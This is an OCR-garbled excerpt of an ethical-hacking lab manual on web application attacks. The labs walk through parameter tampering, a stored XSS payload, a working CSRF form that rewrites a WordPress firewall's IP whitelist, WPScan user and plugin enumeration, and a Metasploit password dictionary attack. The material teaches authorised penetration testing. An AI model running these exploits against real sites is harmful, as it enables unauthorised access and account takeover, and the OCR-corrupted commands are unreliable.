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Module 14 - Hacking Web Applications

Hacking Web Applications

Hacking web applications refers to gaining unanthorized access to a website or its
assodiated data.

Lab Scenario

A web application is a software application running on a web browser that allows a
web user to submit and retrieve data to and from a database over the Internet or an
intranet. The term is also sometimes used to refer to a computer software application,
coded in a browser-supported programming language (such as JavaScript, combined
with abrowser-rendered markup language like HTML), and reliant on a common web
browser to render the application executable.

Web applications are popular because of the ubiquity of web browsers and the
convenience of using them as a client. The ability to update and maintain web
applications without distributing and installing software on potentially thousands of
client computers is a key reason for their popularity, as is the inherent support for
cross-platform compatibility. Common web applications include webmail, online
retail sales, online auctions, wikis, and many others. With the wide adoption of web
applications as a cost-effective channel for communication and information
exchange, they have also become a major attack vector for gaining access to
organizations” information systems. Web application hacking is the exploitation of
applications via HT'TP, by manipulating the application logics via an application’s
graphical web interface, tampering with the Uniform Resource Identifier (URI) or
HTTP elements not contained in the URI. Methods for hacking web applications are
SQL injection attacks, cross-site scripting (XSS), cross-site request forgeries (CSRF),
insecure communications, and others.

"7 Tools In the last module, you acted as an attacker and assessed the security of a web server
demonstratedin  platform. Now, you will move to the next, and most important, stage of secutity
this lab are assessment. As an expert Ethical Hacker and Pen Tester, you need to first test web
available in applications for cross-site scripting vulnerabilities, cookie hijacking, command
Z:\CEH- injection attacks, and then secure web applications from such attacks. The labs in this
Tools:‘:E::ﬂo module will give you hands-on expefience of various web application attacks to help
Module dit web applicati ity i ization.
Hacking Web you audit web application security in your organization
Applications Lab Objectives
The objective of this lab is to provide expert knowledge of web application
vulnerabilities and attacks, such as:
® Parameter tampeting
= Cross-Site Scripting (XSS)
= Stored XSS
=  Username and Password Enumeration
= Exploiting WordPress Plugin Vulnerabilities
= Exploiting Remote Command Execution Vulnerability
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Module 14 - Hacking Web Applications

Web Application Auditing Framework
Website Vulnerability Scanning

Lab Environment
To carty out this lab, you will need:

A computer ranning Windows Server 2016
Windows Server 2012 running as a virtual machine
Windows 10 running as a virtual machine

Kali Linux running as a virtual machine

A web browser with an Internet connection

Lab Duration

Time: 100 Minutes

Overview of Web Application

Web applications provide an interface between end users and web servers through a

set of web pages generated at the server end or that contain script code to be executed
dynamically in a client Web browser.

Lab Tasks

Recommended labs to assist you in web application are:

Exploiting Parameter Tampering and XSS Vulnerabilities in Web
Applications

Performing Cross-Site Request Forgery (CSRF) Attack

Enumerating and Hacking a Web Application using WPScan and
Metasploit

Exploiting Remote Command Execution Vulnerability to Compromise a
Target Web Server

Exploiting File Upload Vulnerability at Different Security Levels
Website Vulnerability Scanning using Acunetix WVS
Auditing Web Application Framework using Vega

Lab Analysis
Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s security posture and exposute.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS

RELATED TO THIS LAB.
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Module 14 - Hacking Web Applications

Exploiting Parameter Tampering
and XSS Vulnerabilities in Web
Applications

Thongh web applications enforce certain security policies, they are vulnerable to attacks
such as SQL. injection, cross-site scripting, and session bijacking.

Lab Scenario

According to OWASP, the web parameter tampering attack refers to the
manipulation of parameters exchanged between dient and server to modify
application data, such as user credentials and permissions, the price and quantity of
products, and so on. Usually, this information is stored in cookies, hidden form fields,
or URL quety strings, and is used to increase application functionality and control.
Cross-site scripting allows an attacker to embed malicious JavaScript, VBScript,
ActiveX, HTML, or Flash into a vulnerable dynamic page to trick the user into
executing the script, so that the attacker can gather data.

Though implementing a strict application security routine, parameters, and input
validation can minimize parameter tampering and XSS vulnerabilities, many websites
and web applications ate still vulnerable to these secutity threats.

Auditing web applications for parameter tampeting and XSS is one of the first steps
an attacker takes in attempting to compromise a web application’s security. As an
expert Ethical Hacker and Pen Tester, you should be aware of the different parameter
tampering and XSS methods that can be employed by an attacker to hack web
applications. In this lab, you will learn how to exploit parameter tampering and XSS
vulnerabilities in web applications.

Lab Objectives

The objective of this lab is to help students learn how to test web applications for
vulnerabilities.

In this lab, you will perform:
®  Parameter tampering attacks

= Cross-site scripting (XSS or CSS)
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Module 14 - Hacking Web Applications

Lab Environment
To carty out this lab, you will need:
= MovieScope website configured during the lab setup
= Windows Server 2016 running as website host machine
=  Windows Server 2012 running as victim machine
=  Windows 10 running as attacker machine
= Microsoft SQL Server 2017

= A web browser with an Internet connection

Lab Duration
Time: 15 Minutes
Overview of the Lab

This lab demonstrates how an attacker can easily exploit parameter tampering and
XSS attack to access protected information and perform other malicious tasks.

Lab Tasks

Web parameter tampeting attacks involve the manipulation of parameters exchanged
between a client and a server to modify application data such as user credentials and
Parameter permissions, prices, and product quantities.

EH task 1

Tampering
In this lab, the machine hosting the website is Windows Server 2016, so make sure
the machine is running throughout the lab; the machine used to perform the cross-
site scripting attack is the Windows 10 virtual machine.
1. Loginto the Windows 10 virtual machine.
KL Avtackers and identity 2. Iauncha web browser (Chrome), type http://www.moviescope.com in
“r:;‘ﬁ:‘:;‘le - the address bat, and press Enter.

surreptitiously obtain
personal or business
information regarding a
user.
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LL] Parameter tampering
attack exploits
vulnerabilities in integrity
and logic validation
mechanisms that may result
in XSS, SQL injection.

Module 14 - Hacking Web Applications

3. MovieScope home/login page appears as shown in the screenshot. Assume
that you are a registered user on the website, and log into it using the
following credentials:

Username: john

Password: test

Trailers

FIGURE L1I: Logging in to the webpage

4. You are logged into the website. Click the View Profile tab at the right side
of the page.

Home Features Trailers Photos Blog Contacts Welcome johm,

Tron Legacy Featured Movie Trailers

Erat volutpat duls ac turpés.
Doneac sit amet eros lorem.

The Vampire Diaries

FIGURE 1.2 Viewing Profilein the logged in account

5. You will be redirected to the profile page, which displays the personal
information of john (here, you).
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m A web page contains
both text and HTML
markup that is generated by
the server and interpreted
by the client browser. Web
sites that generate only
static pages are able to have
full control over how the
browser interprets these
pages. Web sites that
generate dynamic pages do
not have complete control
over how their outputs are
interpreted by the client.

Module 14 - Hacking Web A

6. You will observe that the value of ID in the address bar is 2.

Home Features Teailers Photos Blog

john profile

10 2

First Name. john

Last Name. smith

Email john@abe.com

Gender. male

Date of Birth 15-12-1968

Age r

Address New York

L Contacen 4.200.506.4238 |

tron Man Trailer

sl

FIGURE 1.3 John’s profile

7. Now, tty to change the parameter to id=1 in the address bat, and press Enter.

8. You get the profile for sam without having to perform any hacking
techniques to explore the database.

Contacts Welcome john View Profile

Featured Movie Trailers

Home Features Trailers Phaotos Blog
sam profile

1D: 1

First Name: sam

Last Name: houston

Emall: sam@abe.com

Gender: male

Date of Birth: 10-10-1975

Age: 38

Address: Washington DC
jacingioccache., 202.801-4455

Iron Man Trailer

FIGURE, 1.4: Performing Parameter l'ampering
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Module 14 - Hacking Web Applicati

B e it 9. Now, try the parameter id=3 in the address bar, and press Enter.

among the most 10. You get the profile for kety. This way, you can attempt to change the id

widespread attack methods

used by hackers. It is also number and obtain user profile information.
referred to by the names — -
XSS and CSS. b A

Home Features Trailers Photos Blog Contacts wcome john  View Profile
kety profile
1D 3
First Name kety
Last Name. perry
Email kety@abc com
Gender female
Date of Birth 08-01-1880
Age 3
fron Man Trailer
Address Mexico city
n TASK 2 A Contace s 4.202.802.2434

FIGURE 1.5: Kety's Profike
Cross-Site

Scripting Attack 11. This process of changing the ID value and getting the result is known as

parameter tampering. Web cross-site scripting (XSS or CSS) attacks
exploit vulnerabilities in dynamically generated web pages. This enables
malicious attackers to inject client-side sctipts into web pages viewed by
other users.

12. Now, click the Contacts tab. Here you will be performing XSS attack.

Vm":—\e-llc'e‘i:::e * a - a

€ > C | O® wwwmodescogecom/vie - L

/ Cross-site scripting
(XSS) is a type of computer
security vulnerability,
typically found in web
applications, that enables

malicious attackers to inject Features Trailers wekcoma john,  View Profile
client-side script into web -
pages viewed by other
uscrs. kety profile Featured Movie Trailers
) L ]
FIGURE 1.6: Clicking Contacts tab
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ED) Astackers inject
JavaScript, VBScript,
ActiveX, H'I'ML, or Flash
intoa vulnerable
application to fool a user in
order to gather data. (Read
below for further details)
Everything from account
hijacking, changing of user
settings, cookie
theft/poisoning, and fake
advertising is possible.

I;D Most modern web
applications are dynamic in
nature, allowing users to
customize an application
website through preference
settings, Dynamic web
content is then generated
by a server that relies on
user settings. These
settings often consist of
personal data that needs to
be sccure.

Module 14 - Hacking Web Applications

13. The Contacts page appears; enter your name (or any random name) in the
Name field, enter the cross site script <script>alert("You are
hacked")</script> in the Comment field, and click Submit Comment.

”ECM<Ma x (-] -0 X

<« C @ Notsecure www.moviescopecom : o«

1 0rder 30 Use T holp desk you Mt be 3 register subscribesr M youTe akeady registered, please login for
a0y quers. help of compiaints

ven if you are not 15g90d in, you can 53 browse our Help section Many boquently asked questions aro
antwerod there and chances e the rdormatian you need it abeady avakatie Tiere

450 are 0 3ubsCrbed user buf 1acing peoblem with l0gpng i of I youte exporiencing SMcutes while
rogistering Bt & new User you CaN Use this special 10 10 CoMact us Please note that this foem must be uted
any S rogatiatonTogn probiems. Every ol type of feedbach sent B ough Bus form wil be disc arded

we e ]

Comment «sCrot- alentYou ate hacked y/acnot-

Submt Comment »

FIGURE 1.7: Performing Cross Site Scripting

14. On this page, you are testing for cross-site scripting vulnerability. Now,
refresh the page and click Contacts tab again. As soon as you click the tab, a
pop-up appears on the page displaying a message that You are hacked.

wwn mpvestsgesom X L} -0 X

« X | D www.movescope com contact u

WWIWMOVIESCOPE.COM Sy

Yo are hacked

FIGURE 1.8: Cross Site scripting attack executed

15. You have successfully added a malicious script in this page. The comment
with malicious link is stored on the servet.

16. Loginto Windows Server 2012 virtual machine as a target.

17. ILaunch a web browser (Mozilla Firefox), type the URL
httpz//www.moviescope.com in the address bar, and press Enter.
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Module 14 - Hacking Web Applications

18. MovieScope home/login page appears. Assume that you are a registered user
of the website and login to it using the following credentials:

Username: steve

Password: test

+

MOVIBSCCNe,00M

ﬂ] Cross-site scripting
{also known as XSS) occurs
when a web application
gathers malicious data from
auser, The data is usually
gathered in the form of a 2
hyperlink which contains Log in

malicious content within it.
The user most likely clicks

Blog

on this link from another
website, instant message, or
simply just reading a web
board or email message.

FIGURE 1L9: MovieScope home/Jogin page
19. You are logged into the website as a legitimate user. Click the Contacts tab.

LB Home - MovieScope X T [__"!

- (IR 0 mewestaps o, N 3t D% e mn o =
@ Toimgeuve video qualty, you may need te eatall Microsctt's Midia Featur Pack. Lesnhon | X

Trailers welcome steve, View Profile

3 Movie Irail
Tron Legacy Featured Mavie Trailers

Erat valutpat duls ac turpis.

FIGURE 1.10: Clicking Contacts Tab
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Module 14 - Hacking Web Applications

20. As soon as you click the Contacts tab, the cross-site script running on the
backend server is executed, and a pop-up appeats, stating, This website has
been hacked.

FIGURE 1.11: XSS Attack successfully performed

21. Similarly, whenever a user attempts to visit the Contacts page, the alert pops
up as soon as the web page is loaded.

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s secutity posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

[ Yes M No
Platform Supported
Classroom iLabs
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Module 14 - Hacking Web Applications

Performing Cross-Site Request Forgery
(CSRF) Attack

Cross-Site Request Forgery (CSRE) is an attack which enforces a user to run
unknown activities on a web application in which they're currently logged in.

Lab Scenario

According to OWASP, CSRF is an attack that tricks the victim into submitting a
malicious request. It inherits the identity and privileges of the victim to perform an
undesited function on the victim's behalf. For most sites, browser requests
automatically include any credentials associated with the site, such as the user's session
cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user
is currently authenticated to the site, the site will have no way to distinguish between
the forged request sent by the victim and a legitimate request sent by the victim.

CSREF attacks target functionality that causes a state change on the server, such as
changing the victim's email address or password, or purchasing something. Forcing
the victim to retrieve data doesn't benefit an attacker because the attacker doesn't
receive the response, the victim does. As such, CSRF attacks target state-changing
requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such
vulnerabilities ate called "stored CSRF flaws". This can be accomplished by simply
stoting an IMG or IFRAME tag in a field that accepts HTMI, or by a more complex
cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity
of the attack is amplified. In particular, the likelihood is increased because the victim
is more likely to view the page containing the attack than some random page on the
Internet. The likelihood is also increased because the victim is sure to be authenticated
to the site already.

CEH Lab Manual Page 1131 Ethical Hacking and Countermeasures Copyright © by EC-Councll
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"7 Tools
demonstrated in
this lab are
available in
Z:\CEH-
Tools\CEHv10
Module 14
Hacking Web
Applications

M task 1

Module 14 - Hacking Web Applications

Lab Objectives

The objective of this lab is to help students learn how to test web applications for
vulnerabilities.

In this lab, you will perform:
®  Performing CSRF attack

Lab Environment
To catty out this lab, you will need:
= Kali Linux Machine as an attacker

= Windows Server 2012 as victim

Lab Duration
Time: 10 Minutes

Overview of the Lab

CSRF attacks specifically target state-changing requests, not theft of data, since the
attacker has no way to see the response to the forged request. With a little help of
social engineering (such as sending a link via email or chat), an attacker may trick the
users of a web application into executing actions of the attacker's choosing. If the
victim is a normal user, a successful CSRF attack can force the user to perform state
changing requests like transferring funds, changing their email address, and so forth.
If the victim is an administrative account, CSRF can compromise the entire web
application.

Lab Tasks

1. ILoginto the Windows Server 2012 virtual machine.

2. Taunch a browser, in this lab we are using chrome browser. To launch

in to
Wo rl::ess Site chrome browser, double-click Google Chrome shortcut icon on the desktop.
Note: If you are using different browser then screenshots will differ.
3. Type http:/10.10.10.12:8080/CEH/wp-login.php? in the address bar and
press Enter.
4. CEH Demo Website page appears as shown in the screenshot.
CEH Lab Manual Page 1132 Ethical Hacking and Countermeasures Copyright © by EC-Councll
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=7 Crosssite request
forgery, also known as
one-click attack or
session riding and
abbreviated as CSRF
(sometimes pronounced
sca-surf) or XSRF, is a
type of malicious exploit
of a website where
unauthorized commands
are transmitted from a
user that the web
application trusts.

M task 2

View Installed
Plugins

Module 14 - Hacking Web Applications

5. Type the following credentials and click Log In as shown in the screenshot:
a. Username: admin

b. Password: qwerty@123

Tog n - CIHGema Wl o0

“« C @ Notsecure  10.10.90,12 o~ o

FIGURE. 2.1: CEH WordPress Login Page
6. Assume that you have installed and configured Firewall plugin for this site,
and here you wanted to check with the secutity configurations.

7. Hover your mouse cursor on Plugins and click Installed Plugins as shown
in the screenshot.

Daibbord  CIM Do %

“« C 10101012 o

Dashboard

Welcome to WordPress!

Get Started Next Steps Moru Actions
B Writs ye 1 blog pe B Manage widgets o
+ Ac yout page 9 ot

« your theme complets @ Vew your s -

Ouick Dratt

FIGURE 22: Accessing Plugins

CEH Lab Manual Page 1133
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Module 14 - Hacking Web Applications

8. In the Plugins page observe that Wordpress Firewall 2 is installed. To view
configurations, click Settings as shown in the screenshot.

& P CH D Wi ¥ 0 =To]

Plugins Ao new
=7 ‘Theteare many
ways in which a malicious
website can transmit such
commands; specially-
crafted image tags, hidden
forms, and JavaScript
XMIHttpRequests, for
example, can all work
without the user's
interaction or even
knowledge. Unlike cross-
site scripting (XSS),
which exploits the trust a
user has for a particular
site, CSRF exploits the
trust that a site has in a
user's browser. FIGURE 23: Wordpress Firewall 2 Settings

9. Scroll down to the Whitelisted IPs section, and obsetve that 10.10.10.12 IP

is listed in the Whitelisted IPs list, which is the IP address of the Windows
Server 2012 where the CEH Wordptess website is hosted.

10. Leave the logged in session running. Do not logout from the admin session
of the wordpress site.

o Foreal . CiMBewo W % W m

A

Plugin desrpuar

Akgmet Anb-Spam qute possibly the Best way @ the worid t

o0lnte et started; ad

Hello Dolly ™ nat pust 2 plugin, & symbolaes the 0 ar

y by Lo

" the upper nght of yo

Waordpeess Firewall 2 11

055 PlUGM MONADTS web requests 10 identify and $1op the MOst Obvous Mac

Version 1.3 | By Matthew Pakay | Viid plagin 46

Wihite eod IPs|

FIGURE 24: Wordpress Firewall 2 Whitelisted [Ps

= 11. Login to Kali Linux machine with Username: root and Password: toor.
W TASK 3

12. Assume that attacker is performing enumeration on the CEH wordptess

Perform Plugin 7 & 7 :
Eiumatition website to identify the vulnerable plugins.
13. Launch a Terminal and type wpscan -u http2/10.10.10.12:8080/CEH -
enumerate vp and press Enter.
root@kali: ~
View Search Terminal Help
¥ wp ar http 1 10.1 12:8080/CEH enumerate vp
FIGURE 2.5 WPScan Enumerating Vulnerable Phigins
CEH Lab Manual Page 1134 Ethical Hacking and Countermeasures Copyright © by EC-Ceuncll
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14. If Do you want to update now? prompt appears, type N and press Enter.
7 cswe Toot@kall: - 50

vulnerabilities have been File Edt View Search Terminal Help

known and in some cases # wpscan -u http://10.10.10.1 /CEH --enumerate vp
exploited since 2001,
Because it is carried out
from the user's IP
address, some website
logs might not have
evidence of CSRF.
canner by the ¥
3
»d by Sucuri - https uri
hicalhack3r, @erwan pvdl,

like you have not updated the database for some time
to update i lbort, default: [NIN}

FIGURE 2.6: WPScan Update Prompt
15. WPScan starts to enumerating the vulnerable installed plugins in the CEH
wordpress site.

16. 'This process will take approximately 6 minutes to complete the scan.

root@kall: ~ 00
File Edt View Search Terminal Help
version 2.9.3
Sucuri https://sucuri.net
hack3r, @erwan lr, pvdl, @ FireFart

3 not updated the for some time
7] Do you wa to update now? [Y]es [N]o [A]bort, default: [N]N
URL: http://10.10.10.12:8080/CEH/
n Feb 19 01 2018

The WordPr http 10.10.10.12:8080/CEH/readme . html® file exists exposing a sion number
th Disclosure (FPD) in *http://10.10.10.12:8080/CEH/wp-includes/rss-functions.php': C
CEH\wp-includes\r php
ting he LINK: <http://10.10.10.12:8080/CEH/wp-json/>; rel="https://api.w.org/"

Interesting header: SERVER: Apache, 27 (Win64) PHP/5.6.31

Interesting header POWERED-BY: PHP/5.6.31

XML-RPC Interface available under: http://10.10.10.12:8080/CEH/xmlrpc.php

Upload directory has directory listing enabled: http://10.10.10.12:8080/CEH/wp-content/uploa

Includes directory has directory listing enabled: http://10.10.10.12:8080/CEH/wp-includes/
wordPress

wordPress C : enteen

Name: t
. | Latest 1.3 (up to date)
=7 Atackers who can Last updated: 2017-06-08T00:00:00.000Z
find a reproducible link | Location: http://10.10.10.12:8080/CEH/wp-content/themes/twentyseventeen/

Y http://10.10.10.12:8080/CEH/wp-content/theme we! seventeen/readme. txt
'h“_' executes a spedific http://10.10.10,12:8080/CEH/wp-content/themes/ /seventeen/style.c
action on the target page | Theme 2 Twe Seventeen

while the victim is logged | RI: https://word s.0rg/the
in can embed such link cription: Twenty teen brings yo te to life with header video and feature
images. With

Autho the w

Author URI: https C org/

on a page they control
and trick the victim into
opening it.

Enumerating installed plugins (only ones with known vulnerabilities)

FIGURE 2.7: WPScan Enumerating Pligins Status

17. Once the WPScan completes the scan, and it lists out the vulnerable plugins

present in the site as shown in the screenshot.

CEH Lab Manual Page 1135 hical Hacking and Countermeasures Copyright © by EG-Councll
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Module 14 - Hacking Web Applications

18. In this lab we are going to perform CSRF attack using WordPress Firewall
2,

19. Make a note of the location where the plugin is installed. Minimize or close
the terminal window.

root@kal: ~ 00

Fle Edt View Search Terminal Help

wordp
led plugins (only s known vulnerab

00:06

T21:54:00., 00
10.12:8080/CEH/wp-content/ply

nerabilities are printed out

1. Unaut c Stored Cross
1lndb. com lities/8215
j.a C 2015/16
blog.sucuri.net/2015/10/s¢ 0 wordpre

firewall
1.3 (up :
2010-10-29T04:05:00.0
//10.10.10.1
/10.10.10.12:8080/CEH/wp
enabled: http://10.10.10.12:8088/

dPress Firewall
wpvulndb
curity
to-do-a

FIGURE 2.8: WPScan Found Vulnerable Plugins
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Module 14 - Hacking Web Applications

20. Open a new text document, and type the following script in the document as
shown in the screenshot.

B task a

Rt <form  method="POST"  action="http://10.10.10.12:8080/CEH/wp-
Exploit Script admin/options-general.php?page=wordpress-firewall-2%2F wordpress-
firewall-2.php™>

<script>alert("As an Admin, To enable additional security to your
Website. Click Submit")</script>

<input type="hidden" name="whitelisted_ip[]" value="10.10.10.11" >

<input type="hidden" name="set whitelist_ip"” value="Set Whitelisted
IPs” class="button-secondary">

<input type="submit™>
<form>

“{Ontitied)
fle Edt Search Options Help
form method="POST" action= Ntip://10.10.10.12:8080/CEA/Wp-admin/options-general.php?
age=wordpress-firewall-2%2Fwordpress-firewall-2.php">
script>alert(“As an Admin, To enable additional security to your Website. Click
ubmit™)</script>
kinput type="hidden" name="whitelisted ip[]" value="10.10.10.11">
kinput type="hidden" name="set whitelist ip" value="Set Whitelisted IPs"
glass="button-secondary”>
kinput type="submit">
k/form>

FIGURE 2.9: Writing a Script

21. Save the file. To save the file navigate to File and click Save As from the

menu.
*{Untitled)
Fite |Edit Search Options Help
New mieNtion="http://10.10.10.12:8080/CEH/wp-admin/options-general.php?
Open .y L-2%2Fwordpress-firewall-2.php">
. Wmin, To enable additional security to your Website. Click
Save i+S
Mamefwmtelisteq ip(]" value="10.10.10.11">
ame="set whitelist ip" value="Set Whitelisted IPs"
Print Preyiew Shift+Ciri+P ry">
Print. P
Quit
FIGURE 2.1¢: Saving the Script
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22. save As window appears, choose the desired location to save the file (here,
Desktop), in the Name field type the name of the file as Security_Script.html

and click Save.
Save As x
2 lSr(umy,S(np( hlm! I
ave in folder: | « | [ root 1- ]Creale Folder]
 Places Name v Size Modified &
Q Search
E O Recently Used
W root
# File System
= Floppy Disk
+ x _

Character Coding; | Current Locale (U

Cancel
R —

FIGURE 2.1 1: Save As Window
23. 'The file is saved on the desktop as shown in the screenshot.

24. Now, the attacker will share this malicious script file using email, shared
network drive and etc. and will lure the victim to open the file and execute
the script.

25. In this lab we are going to share this file using shared network drive.

FIGURE 2.12: Senipt Saved on Desktop
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26. Copy the Security Script.html file and paste the file in the CEH-Tools >
CEHv10 Module 14 Hacking Web Applications (shared network dtive).

© Recent = = - -— = e ™
— J—— r— [S— p— [—
@ Home Banner Cookle Password Port Service Sniffing
Grabbing  Exploitation Cracking Scanning pL.hts Discovery Tools
W Desktop Tools Tools Tools Tools Tools
[ Documents [ [ o = B B E—
S [R— [E— b —_— —_— [ e
© 3 Tools to Web Web Web Web Web Web
1 Music Detect Application  Application  Application  Application  Applications  Application
E” Web Appli Firewalls  Fuzz Testi Hacking T Penetratio. Analysis T Security T
Q) Pictures = -—— »— — -—
H Videos - e — - —
Web Web Web Web Whois
@ Trash Cramling Server Service Spidering Lookup
Tools Hacking Attack Tools  and Brute- Tools
Tools Forcing
= -
- Tools d

FIGURE 2.13: Sharing the Saript

27. Switch to Windows Server 2012 machine and navigate to CEH-Tools >
CEHv10 Module 14 Hacking Web Applications (shared network dtive) and
copy the Security_Script.html file and paste it on the Desktop.

. Windows Server 2012R2

FIGURE 2.14: Seript Fik in Victim Machine
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28. Right-click Security Script.html file, hover your mouse cursor on Open
with and then click Google Chrome as shown in the screenshot.

Note: You should use same browser that is used in the step #5.

Choose defondt progrem..

! Edn with Notepade +

o’ and el

88 Windows Server 2012R2

~ACL8,
FIGURE 2.15 Opening the Seript in Google Chrome
29. 'The Security_Script.htmi file opens up in the Chrome browset, along with
a pop-up as shown in the screenshot, click OK to continue.

!mnl.cfuomn« X7 Secunty Scrgtitmd x %
X O fleffC:-AIsers/Administrator/Desktop/Security_Scriptht bl H

This page says

FIGURE 2.1G: Executing the Seript
30. Click Submit button to execute the script.

’vr.'::lm».v. Y ey et

c .

R

D e/ S sars i strator/Desktop/Security Sorpthimi

FIGURE 2.17: Script Executed
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31. As soonas you click on Submit button, it will redirect you to the WordPress
Firewall 2 configurations page.

32. Scroll down and obsetve in the Whitelisted IPs section the IP address is
changed t0 10.10.10.11 (Kali Linux)

femo Forwall: CE Demo We™ X W gy et

« X @ 10.90.10.12 508 . ? v - € e o

Rediredt To Homepage .

fiste AD Bo: are tpect to Winteistng IR ang Wiktriotes foge” briem

Erter an email address for attack reponts:

666 @gm

vt (oo OV sefting tiava fo Guanie emavs
Emall type: ‘o heml 1ot
Suppress semilar attack wamning emals: . On e Off

Enter B(5) that are whitelsted — and not subject to secunty rules

FIGURE 2.18: Whitelisted IP changed to Attackers IP address

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
of your tatget’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

[ Yes M No
Platform Supported
M Classroom M iLabs
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Module 14 - Hacking Web Applications

Enumerating and Hacking a Web
Application using WPScan and
Metasploit

WordPress is a web software and content management system (CMS) that you can use
1o create a website or blog.

Lab Scenario

WPScan is a black-box WordPress vulnerability scanner. It is a regular part of most
of the penetration testers’ assessment toolkit. According to Web Technology Sutveys,
WordPress is used by 60.4% of all known content management system websites, and
23.8% of all websites. WPScan provides great help in assessing the secutity of target
organizations with WordPress sites.

Lab Objectives
The objective of this lab is to help you learn how to:

a.  Enumerate Users using WPScan

b. Perform dictionary attack to crack passwords using Metasploit

Lab Environment

To petform this lab, you will need:
= A computer running Windows Server 2016
= Windows Server 2012 running as virtual machine
= Kali Linux running as virtual machine

Lab Duration

Time: 10 Minutes
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Overview of the Lab

This lab demonstrates multiple attacks performed on a vulnerable php website
(WordPress) in an attempt to gain sensible information such as usernames and
passwortds. You will learn how to use WPScan tool to enumerate usernames on a
WordPress website, and how to crack passwords by performing a dictionary attack
using an msf auxiliaty module.

Lab Tasks

1. Click Start at the lower left corner of the screen, click the downward

Hrask 1 arrow, and click Wampserver64 to launch WampServer.
Start WampServer B8 Windows Server 2012R2
in Windows
Server 2012
Administrator
Wedows
Power Shadl
FIGURE 3.1: Starting the WampServer
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2. Log in to the Kali Linux virtual machine.
Hrask 2
3. Launch a command line terminal, type the command wpscan --url

Enumerate http/[IP Address of Windows Server 2012]:8080/CEH --enumerate u

Uearnames and press Enter.
Note: In this lab, the IP Address of Windows Server 2012 is 10.10.10.12,
which may vary in your lab environment.
4. On entering the command, you will be asked to update the database.
Simply, press Enter to avoid the updation.
root@kali: ~ e ® 0
IFile Edit View Search Terminal Help
# wpscan url http://10.10.10.12:8080/CEH/ enumerate u
=
/| | :
| |/
I 1 el |
(| | / N\ I\
m ud switch refers to WiordPress Security Scanner by the WPScan Team
the WordPress URL on Version 2.9.3
which you would be Sponsored by Sucuri - https://sucuri.net
petforming the scan. wWPScan , @ethicalhack3r, @erwan lr, pvdl, @ FireFart

It seems like you have not updated the database for some time.
[7] Do you want to update now? [Y]es [N]o [A]bort, default: [N]f}

FIGURE 3.2: Enumerating the Usernames

5. WPScan begins to enumerate the usernames stored in the website’s
database, and displays them as shown in the screenshot:

root@kali: ~ e o0

File Edit View Search Terminal Help

| Description: Twenty Seventeen brings your site to life with header video andjs
immersive featured images. With a...

| Author: the WordPress team

| Author URI: https://wordpress.orq/

Enumerating plugins from passive detection
No plugins found
m —-enumerate switch is
assigned to perform Enumerating usernames
enumeraion and v switch s Identified the following 3 user/s:
assigned in conjunction with + + +
enumerate switch to perform | Login Name
enumeration of the usernames. t 27
admin admin
cehuserl Jason Brown
cehuser2 John Albert
*- - --- -+
'] pefault first WordPress username 'admin' is still used

|
+
|
|
|

Finished: Fri Dec 22 01:05:52 2017
Requests Done: 59
Memory used: 19.895 MB
Elapsed time: 00:00:16
#

FIGURE 3.3: Usernames Enumerated
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[ P 6. Now that you have successfully obtained the usernames stored in the
database, you need to find their passwords.
Configure
the Options in 7. 'To obtain the passwords, you will use an auxiliaty module named
Auxiliary Module wordpress_login_enum (in msfconsole) and perform a dictionary attack
using the Passwords.txt file (in the Wordlists folder), which you copied
to the root folder in the previous module.
8. To use the wordpress_login_enum auxiliary module, you need to first
launch msfconsole.
9. Howevet, you need to start the postgresql service before launching the
msfconsole.
10. To start postgresql service, type the command service postgresql start
and press Enter.
root@kali: ~ e 0 °7
Flle Edt View Search Terminal Help
FIGURE 3.4: Starting the Services
11. Because you have started both the services, you shall now launch
msfconsole.
12. To launch msfconsole, type msfconsole and press Enter.
I root@kali: = (- IO -] |
File Edit View Search Terminal Help
‘ ework con
FIGURE 3.5: Launching msfconsole
13. Now, you will use the wordpress_login_enum auxiliary module.
14. Type use auxiliary/scanner/http/wordpress_login_enum and press
Enter.
I root@kali: ~ e e
File Edit View Search Terminal Help
1001 :’m-.lL.ury 299 post
scanner/http/wordp
) >
FIGURE 3.6: Using the Auxiliary Module
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15. This module allows you to enumerate the login credentials.

16. To know all the options, you can configure in this module, type show
options and press Enter.

17. You can view a list of options that can be set for this module. Because
you want to obtain the password, you need to set the:

a. PASS_FILE: In this option, you will be setting the Passwords.txt file
using which; you will be performing the dictionary attack.

b. RHOSTS: In this option, you will be setting the target machine ie.,
Windows Server 2012 [P Address.

c. RPORT: In this option, you will be setting the target machine port i.e.,
Windows Server 2012 port.

d. TARGETURI: In this option, you will be setting the base path to the
WordPress website ie., http:/[IP Address of Windows Server
2012]:8080/CEH/.

e. USERNAME: In this option, you will be setting the username that was
obtained in the Step no. 5.

Terminal

root@kall: ~ o 0
File Edit View Search Help
15f auxiliary ) = show options

Current Setting

SPEED

FIGURE 3.7: Viewing the Options

18. Type set PASS_FILE /root/Wordlists/Passwords.txt and press Enter to
set file containing the passwords.

19. Type set RHOSTS [IP Address of Windows Server 2012] and press
Enter to set the target IP Address.

20. Type set RPORT 8080 and press Enter to set the target port.
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21. Type set TARGETURI http/[IP Address of Windows Server
2012]:8080/CEH/ and press Enter to set the base path to the WordPress
website.

22. Type set USERNAME admin and press Enter to set the username as
admin.

Note: You may issue any one of the usernames that you have obtained during
the enumeration process. In this lab, the admin user is being issued

HTask a

Run the

root@kali: ~ e e 0

File Edit View Search Terminal Help

st auxiliary( ) > set PASS FILE /root/Wordlists/Passwords.txt
ASS FILE /root/Wordlists/Passwords.txt

1st auxiliary( ) > set RHOSTS 10.10.10.12

RHOSTS => 10.10.10.12

1sf auxiliary( ) > set RPORT 8086

RPORT => 80860

asf auxiliary( ) > set TARGETURI http://10.10.10.12:8080/CEH/
ARGETURI => http://10.10.10.12:8080/CEH/

auxiliary( ) > set USERNAME admin

RNAME admin
1sf auxiliary( N |

FIGURE 3.8: Setting the Options

23. Now, all the options have been successfully set. Type run and press Enter
